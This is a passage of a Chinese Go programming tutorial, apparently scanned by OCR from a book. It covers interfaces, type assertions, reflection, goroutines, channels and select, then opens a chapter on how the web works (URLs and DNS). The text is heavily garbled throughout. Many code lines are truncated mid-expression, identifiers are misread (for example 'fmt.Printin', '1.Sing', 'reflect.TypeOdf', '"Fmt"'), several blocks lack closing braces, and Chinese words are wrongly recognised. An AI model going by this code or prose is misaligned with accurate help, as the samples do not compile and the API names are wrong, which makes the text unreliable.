让 我 们 来 继续 做 更 多 的 扩展 ，Student 和 Employee 实 现 另 一 个 方法 Sing ， 然 后 
Student 实 现 方 法 BorrowMoney 而 Employee 实 现 SpendSalary。 


这 样 Student 实 现 了 三 个 方法 : SayHi、Sing、BorrowMoney ; 而 Employee 实 现 了 
SayHi、Sing、SpendSalary。 


上 面 这 些 方法 的 组 合 称 为 interface( 被 对 象 Student 和 Employee 实 现 )。 例 如 Student 
和 Employee 都 实现 了 interface : SayHi 和 Sing， 也 就 是 这 两 个 对 象 是 该 interface 类 
型 。 而 Employee 没 有 实现 这 个 interface : SayHi、Sing 和 BorrowMoney， 因 为 
Employee 没 有 实现 BorrowMoney 这 个 方法 。 


interface 类 型 


interface 类 型 定义 了 一 组 方法 ， 如 果 某 个 对 象 实现 了 某 个 接口 的 所 有 方法 ， 则 此 对 
象 就 实现 了 此 接口 。 详 细 的 语法 参考 下 面 这 个 例子 


type Human struct { 
name string 
age int 
phone string 


} 


type Student struct { 
Human //B#4 Human 
school string 
loan float32 


} 


type Employee struct { 
Human //#B#4 Human 
company string 


money float32 
} 


//Human 对 象 实现 Sayhi 方 法 
func (h *Human) SayHi() { 

fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phc 
} 


// Human 对 象 实现 Sing 方 法 
func (h *Human) Sing(lyrics string) { 

fmt.Println("La la, la la la, la la la la la...", lyrics) 
} 


//Human 对 象 实现 GuzZz1e 方 法 
func (h *Human) Guzzle(beerStein string) { 

fmt .Printin("Guzzle Guzzle Guzzle...", beerStein) 
} 


// Employee 重 载 Human 的 Sayhi 方 法 
func (e *Employee) SayHi() { 
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name 
e.company, e.phone) // 此 句 可 以 分 成 多 行 
} 


//Student 实 现 BorrowMoney 方 法 

func (s *Student) BorrowMoney(amount float32) { 
s.loan += amount // (again and again and...) 

} 


//Employee 实 现 SpendSalary 方 法 
func (e *Employee) SpendSalary(amount float32) { 

e.money -= amount // More vodka please!!! Get me through the dé 
} 


// 定义 interface 

type Men interface { 
SayHi() 
Sing(lyrics string) 
Guzzle(beerStein string) 


} 


type YoungChap interface { 
SayHi() 
Sing(song string) 
BorrowMoney(amount float32) 


} 


type ElderlyGent interface { 
SayHi() 
Sing(song string) 
SpendSalary(amount float32) 

















通过 上 面 的 代码 我 们 可 以 知道 ，interface 可 以 被 任意 的 对 象 实现 。 我 们 看 到 上 面 的 
Men interface 被 Human、Student 和 Employee 实 现 。 同 理 ， 一 个 对 象 可 以 实现 任意 
多 个 interface， 例 如 上 面 的 Student 实 现 了 Men 和 YoungChap 两 个 interface。 


最 后 ， 任 意 的 类 型 都 实现 了 空 interface( 我 们 这 样 定义 : interface{f})， 也 就 是 包含 0 
个 method 的 interface。 


interface 值 


那么 interface 里 面 到 底 能 存 什么 值 呢 ? 如 果 我 们 定义 了 一 个 interface 的 变量 ， 那 么 
这 个 变量 里 面 可 以 存 实现 这 个 interface 的 任意 类 型 的 对 象 。 例 如 上 面 例子 中 ， 我 们 
定义 了 一 个 Men interface 类 型 的 变量 m， 那 么 m 里 面 可 以 存 Human、Student 或 者 
Employee 值 。 


因为 m 能 够 持 有 这 三 种 类 型 的 对 象 ， 所 以 我 们 可 以 定义 一 个 包含 Men 类 型 元 素 的 
slice， 这 个 slice 可 以 被 赋予 实现 了 Men 接 口 的 任意 结构 的 对 象 ， 这 个 和 我 们 传统 意 
义 上 面 的 slice 有 所 不 同 。 


让 我 们 来 看 一 下 下 面 这 个 例子 : 


package main 
import "fmt" 


type Human struct { 
name string 
age int 
phone string 


} 


type Student struct { 
Human // EZ FF 
school string 
loan float32 


} 


type Employee struct { 
Human // 匿 名 字段 
company string 
money float32 

} 


//Human 实 现 SayHi 方 法 
func (h Human) SayHi() { 

fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phc 
} 


//Human 实 现 Sing 方 法 
func (h Human) Sing(lyrics string) { 
fmt.Println("La la la la...", lyrics) 


} 


/VEmp1loyee 重 载 Human 的 SayHi 方 法 
func (e Employee) SayHi() { 
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name 
e.company, e.phone) 


} 


// Interface Men#&Human, Student #JEmployee& m, 
// 因为 这 三 个 类 型 都 实现 了 这 两 个 方法 
type Men interface { 

SayHi() 

Sing(lyrics string) 


func main() { 
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} 
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 1( 
sam := Employee{Human{"Sam", 36, "444-222-XxXX"}, "Golang Inc.", 
tom := Employee{Human{"Tom", 37, "222-444-XxXX"}, "Things Ltd.", 


// 定 义 Men 类 型 的 变量 
var i Men 


/Vi 能 存储 Student 

i = mike 

fmt.Printin("This is Mike, a Student:") 
i.SayHi() 

1.Sing("November rain") 


//i 也 能 存储 Employee 

i = tom 

fmt.Println("This is tom, an Employee:") 
i.SayHi() 

1.Sing("Born to be wild") 


// 定 义 了 slice Men 

fmt.Println("Let's use a slice of Men and see what happens") 
x := make([]Men, 3) 

// 这 三 个 都 是 不 同类 型 的 元 素 ， 但 是 他 们 实现 了 interface 同 一 个 接口 

x[0], x[1], x[2] = paul, sam, mike 


for _, value := range x{ 
value.SayHi( ) 





通过 上 面 的 代码 ， 你 会 发 现 interface 就 是 一 组 抽象 方法 的 集合 ， 它 必须 由 其 他 非 
interface 类 型 实现 ， 而 不 能 自我 实现 ， Go 通过 interface 实 现 了 duck-typing: 即 " 当 看 
到 一 只 乌 走 起 来 像 约 子 、 游 泳 起 来 像 约 子 、 叫 起 来 也 像 约 子 ， 那 么 这 只 乌 就 可 以 被 
称 为 鸭子 "。 


空 interface 


空 interface(interfacef}) 不 包含 任何 的 method， 正 因为 如 此 ， 所 有 的 类 型 都 实现 了 空 
interface。 空 interface 对 于 描述 起 不 到 任何 的 作用 (因为 它 不 包含 任何 的 method) , 
但 是 空 interface 在 我 们 需要 存储 任意 类 型 的 数值 的 时 候 相 当 有 用 ， 因 为 它 可 以 存储 
任意 类 型 的 数值 。 它 有 点 类 似 于 C 语 言 的 void* 类 型 。 


// 定义 a 为 空 接口 
var a interface{} 
var i int = 5 


s := "Hello world" 

// a 可 以 存储 任意 类 型 的 数值 
a=i 

a=s 


一 个 函数 把 interface 人 作为 参数 ， 那 么 他 可 以 接受 任意 类 型 的 值 作为 人 参数， 如果 一 
个 男 数 返回 interface 介 ,那么 也 就 可 以 返回 任意 类 型 的 值 。 是 不 是 很 有 用 啊 ! 


interface NER 


interface 的 变量 可 以 持 有 任意 实现 该 interface 类 型 的 对 象 ， 这 给 我 们 编写 函数 (包括 
method) 提 供 了 一 些 额 外 的 思考 ， 我 们 是 不 是 可 以 通过 定义 interface 参 数 ， 让 男 数 
接受 各 种 类 型 的 参数 。 

举 个 例子 : fmt.Println 是 我 们 常用 的 一 个 函数 ， 但 是 你 是 否 注意 到 它 可 以 接受 任意 
类 型 的 数据 。 打 开 fmt 的 源码 文件 ， 你 会 看 到 这 样 一 个 定义 : 


type Stringer interface { 
String() string 


也 就 是 说 ， 任 何 实现 了 String 方 法 的 类 型 都 能 作为 参数 被 fmt.Println 调 用 ,让 我 们 来 试 
一 试 


package main 


import ( 
" fmt " 
"strconv" 
) 


type Human struct { 
name string 
age int 
phone string 


} 


// 通过 这 个 方法 Human 实现 了 fFmt.Stringer 
func (h Human) String() string { 

return "{"+h.name+" - "+strconv.Itoa(h.age)+" years - ©" +th.{ 
} 


func main() { 
Bob := Human{"Bob", 39, "000-7777-XXX"} 
fmt.Printin("This Human is : ", Bob) 


[E 


现在 我 们 再 回顾 一 下 前 面 的 Box 示 例 ， 你 会 发 现 Color 结 构 也 定义 了 一 个 method : 
String。 其 实 这 也 是 实现 了 fmt.Stringer 这 个 interface， 即 如 果 需 要 某 个 类 型 能 被 fmt 
包 以 特殊 的 格式 输出 ， 你 就 必须 实现 Stringer 这 个 接口 。 如 果 没 有 实现 这 个 接口 ， 
fmt 将 以 默认 的 方式 输出 。 





// 实 现 同 祥 的 功能 
fmt.Println("The biggest one is", boxes.BiggestsColor().String() ) 
fmt.Printin("The biggest one is", boxes.BiggestsColor()) 


ee | 


注 : 实现 了 error 接 口 的 对 象 ( 即 实现 了 Error() string 的 对 象 ) ， 使 用 fmt 输 出 时 ， 会 
调用 Error() 方 法 ， 因 此 不 必 再 定义 String() 方 法 了 。 


interface 交 量 存 储 的 类 型 


我 们 知道 interface 的 变量 里 面 可 以 存储 任意 类 型 的 数值 (该 类 型 实现 了 interface)。 那 
么 我 们 怎么 反 向 知道 这 个 变量 里 面 实际 保存 了 的 是 哪个 类 型 的 对 象 呢 ? 目前 常用 的 
有 两 种 方法 : 


e Comma-ok 断 言 


Go 语言 里 面 有 一 个 语法 ， 可 以 直接 判断 是 否 是 该 类 型 的 变量 value, ok = 
element.(T)， 这 里 value 就 是 变量 的 值 ，ok 是 一 个 bool 类 型 ，element 是 
interface 变 量 ，T 是 断言 的 类 型 。 


如 果 element 里 面 确实 存储 了 T 类 型 的 数值 ， 那 么 ok 返回 true， 否 则 返回 false。 
让 我 们 通过 一 个 例子 来 更 加 深入 的 理解 。 


package main 


import ( 
"Fmt" 
"strconv" 
) 


type Element interface{} 
type List [] Element 


type Person struct { 
name string 
age int 


} 


// 定 义 了 String 方 法 ， 实 现 了 fmt.Stringer 
func (p Person) String() string { 

return "(name: " + p.name + " - age: "+strconv.Itoa(p.age 
} 


func main() { 
list := make(List, 3) 
list[0] 1 // an int 
list[1] "Hello" // a string 
list[2] Person{"Dennis", 70} 


for index, element := range list { 
if value, ok := element.(int); ok { 
fmt.Printf("list[%d] is an int and its value is % 
} else if value, ok := element.(string); ok { 
fmt.Printf("list[%d] is a string and its value is 
} else if value, ok := element.(Person); ok { 
fmt.Printf("list[%d] is a Person and its value is 
} else { 
fmt.Printf("list[%d] is of a different type\n", i 





是 不 是 很 简单 啊 ， 同 时 你 是 否 注意 到 了 多 个 if 里 面 ， 还 记得 我 前 面 介 绍 流程 时 
讲 过 ，if 里 面 允 许 初始 化 变量 。 


也 许 你 注意 到 了 ， 我 们 断言 的 类 型 越 多 ， 那 么 if else 也 就 越 多 ， 所 以 才 引 出 了 
下 面 要 介绍 的 switch。 


e Switch 测试 


最 好 的 讲解 就 是 代码 例子 ， 现 在 让 我 们 重 写 上 面 的 这 个 实现 


package main 


import ( 
"Fmt" 
"strconv" 
) 


type Element interface{} 
type List [] Element 


type Person struct { 
name string 


age int 
} 
// 打 印 
func (p Person) String() string { 
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age 
} 


func main() { 
list := make(List, 3) 


list[0] = 1 //an int 
list[1] = "Hello" //a string 
list[2] = Person{"Dennis", 70} 
for index, element := range list{ 
switch value := element.(type) { 
case int: 


fmt.Printf("list[%d] is an int and its value 
case string: 

fmt.Printf("list[%d] is a string and its valt 
case Person: 

fmt.Printf("list[%d] is a Person and its valı 
default: 

fmt.Printin("list[%d] is of a different type" 





这 里 有 一 点 需要 强调 的 是 : element.(type) 语法 不 能 在 switch 外 的 任何 逻辑 
里 面 使 用 ， 如 果 你 要 在 switch 外 面 判 断 一 个 类 型 就 使 用 comma-ok o 


iz Ainterface 


Go 里 面 真 正 吸 引 人 的 是 它 内 置 的 逻辑 语法 ， 就 像 我 们 在 学 习 Struct 时 学 习 的 匿名 字 
段 ， 多 么 的 优雅 啊 ， 那 么 相同 的 逻辑 引入 到 interface 里 面 ， 那 不 是 更 加 完美 了 。 如 
果 一 个 interface1 作 为 interface2 的 一 个 伐 和 字段， 那么 interface2 隐 式 的 包含 了 
interface1 里 面 的 method。 


我 们 可 以 看 到 源码 包 containerheap 里 面 有 这 样 的 一 个 定义 


type Interface interface { 
sort.Interface //mA+EEsort.Interface 
Push(x interface{}) //a Push method to push elements into the 1 
Pop() interface{} //a Pop elements that pops elements from the 





4 mm aoa 


我 们 看 到 sort.Interface 其 实 就 是 戏 入 字段 ， 把 sort.Interface 的 所 有 method 给 隐 式 的 
包含 进来 了 。 也 就 是 下 面 三 个 方法 : 


type Interface interface { 
// Len is the number of elements in the collection. 
Len() int 
// Less returns whether the element with index i should sort 
// before the element with index j. 
Less(i, j int) bool 
// Swap swaps the elements with indexes i and j. 
Swap(i, j int) 


另 一 个 例子 就 是 io 包 下 面 的 io.ReadWriter ， 它 包含 了 io 包 下 面 的 Reader 和 Writer 两 
个 interface : 


// io.Readwriter 

type ReadWriter interface { 
Reader 
Writer 


反射 


Go 语言 实现 了 反射 ， 所 谓 反 射 就 是 能 检查 程序 在 运行 时 的 状态 。 我 们 一 般 用 到 的 包 
是 reflect 包 。 如 何 运 用 reflect 包 ， 官 方 的 这 篇 文章 详细 的 讲解 了 reflect 包 的 实现 原 
If, laws of reflection 


使 用 reflect 一 般 分 成 三 步 ， 下 面 简要 的 讲解 一 下 : 要 去 反射 是 一 个 类 型 的 值 (这 些 值 
都 实现 了 空 interface)， 首 先 需要 把 它 转化 成 reflect 对 象 (reflect.Type 或 者 
reflect.Value， 根 据 不 同 的 情况 调用 不 同 的 函数 )。 这 两 种 获取 方式 如 下 : 


t := reflect.TypeOdf(i) // 得 到 类 型 的 元 数据 , 通过 t 我 们 能 获取 类 型 定义 里 面 的 
v := reflect.Valueof (i)  // 得 到 实际 的 值 ， 通 过 Vv 我 们 获取 存储 在 里 面 的 值 ， 还 F 
_ i 








转化 为 reflect 对 象 之 后 我 们 就 可 以 进行 一 些 操作 了 ， 人 也 就 是 将 reflect 对 象 转化 成 相 
应 的 值 ， 例 如 


tag := t.Elem().Field(0).Tag // 获 取 定 义 在 struct 里 面 的 标签 
name := v.Elem().Field(0).String() // 获 取 存 储 在 第 一 个 字段 里 面 的 值 


获取 反射 值 能 返回 相应 的 类 型 和 数值 


var x float64 = 3.4 

v := reflect.ValueOf(x) 

fmt.Printin("type:", v.Type()) 

fmt.Printin("kind is float64:", v.Kind() == reflect.Float64) 
fmt.Printin("value:", v.Float()) 


最 后 ， 反 射 的 话 ， 那 么 反射 的 字段 必须 是 可 修改 的 ， 我 们 前 面 学 习 过 es 
用 ， 这 个 里 面 也 是 一 样 的 道理 。 反 射 的 字段 必须 是 可 读 写 的 意思 是 ， 如 果 下 面 这 
F, 那么 会 发 生 错 误 


var x float64 = 3.4 
v := reflect.ValueOf(x) 
v.SetFloat(7.1) 


如 果 要 修改 相应 的 值 ， 必 须 这 样 写 


var x float64 = 3.4 

p reflect .ValueOf (&x) 
v := p.Elem() 
v.SetFloat(7.1) 


上 面 只 是 对 反射 的 简单 介绍 ， 更 深入 的 理解 还 需要 自己 在 编程 中 不 断 的 实践 。 


2.7 并 发 


有 人 把 Go 比 作 21 世 纪 的 C 语 言 ， 第 一 是 因为 Go 语言 设计 简单 ， 第 二 ，21 世 纪 最 重 
要 的 就 是 并 行程 序 设 计 ， 而 Go 从 语言 层面 就 支持 了 并 行 。 


goroutine 


goroutine 是 Go 并 行 设计 的 核心 。goroutine 说 到 底 其 实 就 是 线程 ， 但 是 它 比 线程 更 
小 ， 十 几 个 goroutine 可 能 体现 在 底层 就 是 五 六 个 线程 ，Go 语 言 内 部 帮 你 实现 了 这 
些 goroutine 之 间 的 内 存 共享 。 执 行 goroutine 只 需 极 少 的 栈 内 存 (大 概 是 4~5KB)， 当 
然 会 根据 相应 的 数据 伸缩 。 也 正 因 为 如 此 ， 可 同时 运行 成 千 上 万 个 并 发 任务 。 
goroutine 比 thread 更 易 用 、 更 高 效 、 更 轻便 。 


goroutine 是 通过 Go 的 runtime 管 理 的 一 个 线程 管理 器 。goroutine 通 过 go 关键 字 实 
现 了 ， 其 实 就 是 一 个 普通 的 函数 。 


go hello(a, b, c) 


通过 关键 字 go 就 启动 了 一 个 goroutine。 我 们 来 看 一 个 例子 


package main 


import ( 
W fmt W 
"runtime" 


) 


func say(s string) { 
TOR al =" 0) aes 55 amn 
runtime.Gosched() 
fmt .Printin(s) 


} 


func main() { 
go say("world") // 开 一 个 新 的 Goroutines 执 行 
say("hello") // 当 前 Goroutines 执 行 


// 以 上 程序 执行 后 将 输出 : 
// hello 
// world 
// hello 
// world 
// hello 
// world 
// hello 
// world 
// hello 


我 们 可 以 看 到 go 关键 字 很 方便 的 就 实现 了 并 发 编程 。 
同一 共享 内 存 数据 ， 不 过 设计 上 我 们 要 遵循 : 不 要 通过 共享 来 通信 ， 
而 要 通 前 信 3 共享 。 


runtime.Gosched() 表 示 让 CPU 把 时 间 片 让 给 别人 ,下 次 某 个 时 候 继续 恢复 执行 
该 goroutine。 


默认 情况 下 ， 调 度 器 信使 用 单线 程 ， 也 就 是 说 只 实现 了 并 发 。 想 要 发 挥 多 核 处 
理 器 的 并 行 ， 需 要 在 我 们 的 程序 中 显 式 调 用 runtime.GOMAXPROCS(n) 告诉 
调度 器 同时 使 用 多 个 线程 。GOMAXPROCS 设置 了 同时 运行 逻辑 代码 的 系统 
线程 的 最 大 数量 ， 并 返回 之 前 的 设置 。 如 果 n < 1， T 以 后 

Go 的 新 版 本 中 调度 得 到 改进 后 ， 这 将 被 移 除 。 这 里 有 一 篇 Rob 介绍 的 关于 并 发 
和 并 行 的 文 


= : http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide 
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goroutine 运 行 在 相同 的 地 址 空间 ， 因 此 访问 共享 内 存 必 须 做 好 同步 。 那 么 goroutine 
之 间 如 何 进行 数据 的 通信 呢 ，Go 提 供 了 一 个 很 好 的 通信 机 制 channel。channel 可 以 
与 Unix shell 中 的 双向 管道 做 类 比 : 可 以 通过 它 发 送 或 者 接收 值 。 这 些 值 只 能 是 特 
定 的 类 型 : channe| 类 型 。 定 义 一 个 channel 时 ， 也 需要 定义 发 送 到 channel 的 值 的 
类 型 。 注 意 ， 必 须 使 用 make 创建 channel : 


ci := make(chan int) 
cs := make(chan string) 
cf := make(chan interface{}) 


channel 通 过 操作 符 <- 来 接收 和 发 送 数据 


ch <- v // 发 送 v 到 channel ch. 
v := <-ch // 从 ch 中 接收 数据 ， 并 赋值 给 V 


我 们 把 这 些 应 用 到 我 们 的 例子 中 来 : 


package main 
import "fmt" 


func sum(a []int, c chan int) { 
total := 0 
for _, v := range a { 
total += v 
} 


c <- total // send total to c 
} 


func main() { 
ao =. nei, 2 eee le) ACO 


c := make(chan int) 

go sum(a[:len(a)/2], c) 

go sum(a[len(a)/2:], c) 

X, y := <-c, <-c // receive from c 


fmt.Println(x, y, x + y) 


默认 情况 下 ，channel 接 收 和 发 送 数据 都 是 阻塞 的 ， 除 非 另 一 端 已 经 准备 好 ， 这 样 
就 使 得 Goroutines 同 步 变 的 更 加 的 简单 ， 而 不 需要 显 式 的 lock。 所 谓 阻 塞 ， 也 就 是 
如 果 读 取 (value := <-ch) 它 将 会 被 阻塞 ， 直 到 有 数据 接收 。 其 次 ， 任 何 发 送 
(ch<-5) 将 会 被 阻塞 ， 直 到 数据 被 读 出 。 无 缓冲 channel 是 在 多 个 goroutine 之 间 同 
步 很 棒 的 工具 。 


Buffered Channels 


上 面 我 们 介绍 了 默认 的 非 缓存 类 型 的 channel， 不 过 Go 也 人 允许 指定 channel 的 缓冲 大 
小 ， 很 简单 ， 就 是 channel 可 以 存储 多 少 元 素 。ch:= make(chan bool, 4)， 创 建 了 可 
以 存储 4 个 元 素 的 bool 型 channel。 在 这 个 channel 中 ， 前 4 个 元 素 可 以 无 阻塞 的 写 
入 。 当 写 入 第 5 个 元 素 时 ， 代 码 将 会 阻塞 ， 直 到 其 他 goroutine 从 channel 中 读 取 一 
些 元 素 ， 腾 出 空间 。 


ch := make(chan type, value) 
value == 0 ! 无 缓冲 〈 阻 塞 ) 
value > 0 ! 缓冲 〈 非 阻塞 ， 直 到 value 个 元 素 ) 


我 们 看 一 下 下 面 这 个 例子 ， 你 可 以 在 自己 本 机 测试 一 下 ， 修 改 相 应 的 value 值 


package main 
import "fmt" 


func main() { 
c := make(chan int，2)// 修 改 2 为 1 就 报错 ， 修 改 2 为 3 可 以 正常 运行 
G <- 1 
G <> 2 
fmt .Println(<-c) 
fmt .Println(<-c) 


} 
// 修 改 为 1 报 如 下 的 错误 : 
//fatal error: all goroutines are asleep - deadlock! 
Range 和 Close 


上 面 这 个 例子 中 ， 我 们 需要 读 取 两 次 c， 这 样 不 是 很 方便 ，Go 考 虑 到 了 这 一 点 ， 所 
以 也 可 以 通过 range， 像 操作 slice 或 者 map 一 样 操作 缓存 类 型 的 channel， 请 看 下 面 
的 例子 


package main 


import ( 
W fmt W 
) 


func fibonacci(n int, c chan int) { 
Me WY BS al dl 
for i := 0; i < n; i++ { 
Cc <- X 
A DM S Y ON a V 


close(c) 

} 

func main() { 
c := make(chan int, 10) 
go fibonacci(cap(c), c) 
for i := range c { 

fmt.Println(i) 

} 

} 


for i := range c 能 够 不 断 的 读 取 channel 里 面 的 数据 ， 直 到 该 channel 被 显 式 
的 关闭 。 上 面 代码 我 们 看 到 可 以 显 式 的 关闭 channel， 生 产 者 通过 内 置 画 

数 close 关闭 channel。 关 闭 channel 之 后 就 无 法 再 发 送 任何 数据 了 ， 在 消费 方 可 
以 通过 语法 v, ok := <-ch 测 斌 channel 是 否 和 被 关闭 。 如 果 ok 返 回 false， 那 么 说 
明 channel 已 经 没有 任何 数据 并 且 已 经 被 关闭 。 


记 住 应 该 在 生产 者 的 地 方 关 闭 channel， 而 不 是 消费 的 地 方 去 天 闭 它 ， 这 样 容易 
引起 panic 


另外 记 住 一 点 的 就 是 channel 不 像 文 件 之 类 的 ， 不 需要 经 常 去 关闭 ， 只 有 当 你 确 
实 没 有 任何 发 送 数据 了 ， 或 者 你 想 显 式 的 结束 range 循 环 之 类 的 


Select 


我 们 上 面 介 绍 的 都 是 只 有 一 个 channel 的 情况 ， 那 么 如 果 存 在 多 个 channel 的 时 候 ， 
我 们 该 如 何 操作 呢 ，Go 里 面 提 供 了 一 个 关键 字 select ， 通 过 select 可 以 监听 
channel 上 的 数据 流动 。 


select 默认 是 阻塞 的 ， 只 有 当 监 听 的 channel 中 有 发 送 或 接收 可 以 进行 时 才 会 运 
行 ， 当 多 个 channel 都 准备 好 的 时 候 ，select 是 随机 的 选择 一 个 执行 的 。 


package main 
import "fmt" 


func fibonacci(c, quit chan int) { 
NY ee abe yak 
for { 
select { 
case C <- X: 
/= 
case <-quit: 
fmt .Printin("quit") 
return 


} 


func main() { 
c := make(chan int) 
quit := make(chan int) 
go func() { 
FOF i SO de lc et 
fmt.Println(<-c) 


quit <- 0 
}() 


fibonacci(c, quit) 


在 select 里 面 还 有 default 语 法 ， select 其 实 就 是 类 似 switch 的 功能 ，default 就 
是 当 监 听 的 channel 都 没有 准备 好 的 时 候 ， 黑 认 执行 的 〈select 不 再 阻塞 等 待 
channel) 。 


select { 
case i := <-C: 
// use i 
default: 
// 当 c 阻 塞 的 时 候 执 行 这 里 
} 


超时 


有 时 候 会 出 现 goroutine 阻 塞 的 情况 ， 那 么 我 们 如 何 避 免 整个 程序 进入 阻塞 的 情 ; 
呢 ?我 们 可 以 利用 select 来 设置 超时 ， 通 过 如 下 的 方式 实现 : 


func main() { 


c := make(chan int) 
0 := make(chan bool) 
go func() { 
for { 
select { 
case v := <- C: 
println(v) 


case <- time.After(5 * time.Second): 
printin( "timeout" ) 
o <- true 
break 


} 
}() 
ae 


(0) 


runtime goroutine 


runtime 包 中 有 几 个 处 理 goroutine 的 函数 : 
e Goexit 

退出 当前 执行 的 goroutine， 但 是 defer 函 数 还 会 继续 调用 
e Gosched 


让 出 当前 goroutine 的 执行 权限 ， 调 度 器 安排 其 他 等 待 的 任务 运行 ， 并 在 下 次 某 
个 时 候 从 该 位 置 恢 复 执 行 。 


e NumCPU 
返回 CPU 核 数量 
e NumGoroutine 
返回 正在 执行 和 排队 的 任务 总 数 
e GOMAXPROCS 
用 来 设置 可 以 并 行 计 算 的 CPU 核 数 的 最 大 值 ， 并 返回 之 前 的 值 。 


2.8 总 结 


这 一 章 我 们 主要 介绍 了 Go 语言 的 一 些 语 法 ， 通 过 语法 我 们 可 以 发 现 Go 是 多 人 么 的 简 
单 ， 只 有 二 十 五 个 关键 字 。 让 我 们 再 来 回顾 一 下 这 些 关 键 字 都 是 用 来 干什么 的 。 


break default func interface select 
case defer go map struct 
chan else goto package switch 
const fallthrough if range type 
continue for import return var 
e Var 和 const 参 考 2.2Go 语 言 基础 里 面 的 变量 和 常量 申明 
e package 和 import 已 经 有 过 短暂 的 接触 
e func 用 于 定义 函数 和 方法 
e return 用 于 从 函数 返回 
e defer 用 于 类 似 析 构 函数 
e go 用 于 并 发 
e select 用 于 选择 不 同类 型 的 通讯 
e interface 用 于 定义 接口 ， 参 考 2.6 小 节 
e struct 用 于 定义 抽象 数据 类 型 ， 参 考 2.5 小 节 
e break, case, continue, for, fallthrough, else, if. switch, goto, defaultix 
些 参考 2.3 流 程 介绍 里 面 
chan 用 于 channel 通 讯 
type 用 于 声明 自 定 义 类 型 


map 用 于 声明 map 类 型 数据 
range 用 于 读 取 slice、map、channel 数 据 


上 面 这 二 十 五 个 关键 字 记 住 了 ， 那 么 Go 你 也 已 经 差不多 学 会 了 。 


3 Web 基 础 


学 习 基 于 Web 的 编程 可 能 正 是 你 读本 书 的 原因 。 事 实 上 ， 如 何 通 过 Go 来 编写 Web 
应 用 也 是 我 编写 这 本 书 的 初衷 。 前 面 已 经 介绍 过 ，Go 目 前 已 经 拥有 了 成 熟 的 HTTP 
处 理 包 ， 这 使 得 编写 能 做 任何 事情 的 动态 Web 程 序 易如反掌 。 在 接 下 来 的 各 章 中 将 
要 介绍 的 内 容 ， 都 是 属于 Web 编 程 的 范畴 。 本章 则 集中 讨论 一 些 与 Web 相 关 的 概念 
和 Go 如 何 运 行 Web 程 序 的 话题 。 


目录 
links 
e 目录 
e 上 一 章 : 第 二 章 总 结 
e 下 一 节 : Web 工 作 方式 


3.1 Web 工 作 方 式 


我 们 平时 浏览 网 页 的 时 候 ,会 打开 浏览 器 ， 输 入 网 址 后 按 下 回 车 键 ， 然 后 就 会 显示 出 
你 想 要 浏览 f 的 内 容 。 在 这 个 看 似 简 单 的 用 户 行为 背后 ， 到 底 隐藏 了 些 什么 呢 ? 


对 于 普通 的 上 网 过 程 ， 系 统 其 实 是 这 样 做 的 : 浏览 器 本 身 是 一 个 客户 端 ， 当 你 输入 
URL 的 时 候 ， 首 先 浏 览 器 会 去 请 求 DNS 服 务 器 ， 通 过 DNS 获 取 相 应 的 域名 对 应 的 
IP, 然后 通过 IP 地 址 找到 IP 对 应 的 服务 器 后 ， 要 求 建立 TCP 连 接 ， 等 浏览 器 发 送 完 
HTTP Request (请 求 ) 包 后 ， 服 务 器 接收 到 请 求 包 之 后 才 开 始 处 理 请 求 包 ， 服 务 
器 调用 自身 服务 ， 返回 HTTP Response (of) a; 客户 端 收 到 来 自 服务 器 的 响应 
后 开始 泻 染 这 个 Response 包 里 的 主体 (body) , 等 收 到 全 部 的 内 容 随后 断 开 与 该 
服务 器 之 间 的 TCP 连 接 。 


图 3.1 用 户 访问 一 个 Web 站 点 的 过 程 


一 个 Web 服 务 器 也 被 称 为 HTTP 服 务 器 ， 它 通过 HTTP 协 议 与 客户 端 通信 。 这 个 客户 
端 通常 指 的 是 Web 浏 览 器 (其 实 手机 端 客户 端 内 部 也 是 浏览 器 实现 的 )。 


Web 服 务 器 的 工作 原理 可 以 简单 地 六 纳 为 : 


。 客户 机 通过 TCP/IP 协 议 建 立 到 服务 器 的 TCP 连 接 

客户 端 向 服务 器 发 送 HTTP 协 议 请 求 包 ， 请 求 服务 器 里 的 资源 文档 

° 服务 器 向 客户 机 发 送 HTTP 协 议 应 答 包 ; 如 果 请 求 的 资源 包含 有 动态 语言 的 内 
容 ， 那 么 服务 器 会 调用 动态 语言 的 解释 引擎 负责 处 理 " 动 态 内 容 "， 并 将 处 理 得 
到 的 数据 返回 给 客户 端 

客户 机 与 服务 器 断 开 。 由 客户 端 解释 HTML 文 档 ， 在 客户 端 屏幕 上 浑 染 图 形 结 
aR 


一 个 简单 的 HTTP 事 务 就 是 这 样 实现 的 ， 看 起 来 很 复杂 ， 原 理 其 实 是 挺 简单 的 。 需 
要 注意 的 是 客户 机 与 服务 器 之 间 的 通信 是 非 持 久 连 接 的 ， 也 就 是 当 服务 器 发 送 了 应 
答 后 就 与 客户 机 断 开 连接 ， 等 待 下 一 次 请 求 。 


URL 和 DNS 解析 


我 们 浏览 网 页 都 是 通过 URL 访 问 的 ， 那 么 URL 到 底 是 怎么 样 的 呢 ? 


URL(Uniform Resource Locator) 是 “统一 资源 定位 符 " 的 英文 缩写 ， 用 于 描述 一 个 网 
络 上 的 资源 , 基本 格式 如 下 


scheme: //host[:port#]/path/.../[?query-string][#anchor ] 


scheme 指定 低层 使 用 的 协议 (例如 : http, https, ftp) 
host HTTP 服 务 器 的 IP 地 址 或 者 域名 
port# HTTP 服 务 器 的 黑 认 端口 是 80， 这 种 情况 下 端口 号 可 以 省 略 。 如 果 使 用 
path 访问 资源 的 路 径 
query-string 发 送 给 http 服 务 器 的 数据 
anchor 锚 
‘| Ss 








DNS(Domain Name System) 是 “域名 系统 ”的 英文 缩写 ， 是 一 种 组 织 成 域 层 次 结构 
的 计算 机 和 网 络 服 务 命名 系统 ， 它 用 于 TCP/IP 网 络 ， 它 从 事 将 主机 名 或 域名 转换 为 
实际 IP 地 址 的 工作 。DNS 就 是 这 样 的 一 位 “翻译 官 *”， 它 的 基本 工作 原理 可 用 下 图 来 
表示 。 


图 3.2 DNS 工作 原理 
更 详细 的 DNS 解析 的 过 程 如 下 ， 这 个 过 程 有 助 于 我 们 理解 DNS 的 工作 模式 


1. 


